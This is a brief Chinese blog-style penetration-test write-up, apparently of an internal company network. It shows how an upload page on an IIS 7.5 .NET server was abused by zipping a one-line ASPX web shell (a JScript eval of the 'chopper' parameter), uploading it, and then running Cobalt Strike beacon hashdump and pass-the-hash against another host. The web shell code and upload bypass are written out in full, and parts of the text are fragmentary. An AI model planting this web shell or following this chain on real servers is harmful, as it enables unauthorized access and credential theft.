内网180的.NET拿shell
最近对公司内网进行渗透,发现了一台项目部署的页面,就有了下面的后续。
- 打开发现两个服务,一个是iis7.5的默认页面
- 另一个是项目上传部署的页面
- 根据直觉告诉我,这里肯定可以上传项目然后getshell
- 尝试直接上传之后未成功
- 确认为.NET的中间件,尝试上传1.aspx
系统提示必须为zip压缩包
- 添加一个名称为“1”的站点
然后将1.aspx压缩成1.zip,最后进行上传
其中1.aspx的内容为
1 | <%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe");%> |
7.访问URL:http://192.168.1.180:8081/1/1.aspx
8.确认文件是存在的。
不存在的文件的页面如下:
1 | beacon> hashdump |
Net view
对1.155进行凭证传递